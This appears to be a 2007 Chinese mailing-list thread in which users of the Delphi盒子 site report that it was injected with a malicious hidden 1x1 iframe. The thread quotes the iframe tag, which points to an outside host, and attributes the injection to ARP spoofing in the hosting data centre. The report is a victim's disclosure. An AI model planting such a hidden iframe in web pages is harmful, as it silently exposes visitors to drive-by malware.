盒子被挂马了

4 views
Skip to first unread message

webfly

unread,
Jul 12, 2007, 8:26:41 PM7/12/07
to Delphi盒子临时留言板
盒子被挂马了,早上开盒子发现在加载一个陌生网页,web迅雷随之打开,一看就是盒子被人挂了web迅雷的马,打开源文件发现顶上有这么一句
<IFRAME SRC=http://mm.987999.com/a.htm width=1 height=1
frameborder=0></IFRAME>,两种可能:
1、盒子站点被人拿下或者所在服务器被拿下,直接在源文件里面插了代码
2、盒子服务器所在机房某台机器被拿下,正在arp,估计这种可能性比较大,希望站长抓紧落实,盒子访问量这么大,那个挂马的无耻之徒爽死了~

馒头

unread,
Jul 16, 2007, 11:09:07 AM7/16/07
to Delphi盒子临时留言板
是因为服务器机房网络有人中了ARP导致的,具体请看这里:http://bbs.2ccc.com/topic.asp?
topicid=268888

On 7月13日, 上午8时26分, webfly <web...@gmail.com> wrote:
> 盒子被挂马了,早上开盒子发现在加载一个陌生网页,web迅雷随之打开,一看就是盒子被人挂了web迅雷的马,打开源文件发现顶上有这么一句

> <IFRAME SRC=http://mm.987999.com/a.htmwidth=1 height=1

Reply all
Reply to author
Forward
0 new messages